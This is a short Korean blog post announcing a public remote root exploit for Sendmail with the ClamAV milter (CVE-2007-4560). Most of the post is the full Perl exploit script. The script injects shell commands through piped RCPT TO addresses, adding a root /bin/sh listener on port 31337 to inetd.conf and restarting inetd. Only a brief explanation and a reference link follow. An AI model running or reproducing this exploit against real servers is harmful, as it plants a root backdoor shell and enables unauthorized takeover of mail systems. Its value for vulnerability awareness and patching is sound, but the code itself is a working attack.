'ClamAV'에 해당되는 글 1건

  1. 2008/09/09 리눅스 공격 - Sendmail + ClamAV Milter Exploit CODE

Sendmail 이 설치된 리눅스 환경에서  메일의 바이러스 필터링을 위해 자주 설치되는 ClamAV (Clam Anit Virus) Milter 를 공격하는 exploit 이 공개되었습니다.

Exploit Code


### black-hole.pl

### Sendmail w/ clamav-milter Remote Root Exploit

### Copyright (c) 2007 Eliteboy

####################################################

 

use IO::Socket;

print "Sendmail w/ clamav-milter Remote Root Exploit\n";

print "Copyright (C) 2007 Eliteboy\n";

if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}

print "Attacking $ARGV[0]...\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

                              PeerPort => '25',

                              Proto    => 'tcp');

print $sock "ehlo you\r\n";

print $sock "mail from: <>\r\n";

print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";

print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";

print $sock "data\r\n.\r\nquit\r\n";

while (<$sock>) {

        print;

}


파이프를 이용해 임의의 명령어를 실행시킬 수 있는 것으로 보이는데, Sendmail root 권한으로 돌기 때문에 위험합니다.

시스템 상으로 Sendmail 과 ClamAV Millter 가 연동되어 운영되는 방식에 대한 세부 정보는 아래의 그림 밑의 링크를 클릭하여 참조 하시기 바랍니다

사용자 삽입 이미지
                  http://sial.org/howto/clamav/clamav-milter/


해당 취약점은 현재 CVE-2007-4560 으로 등록되어 있습니다.

 

 

Posted by 티엘로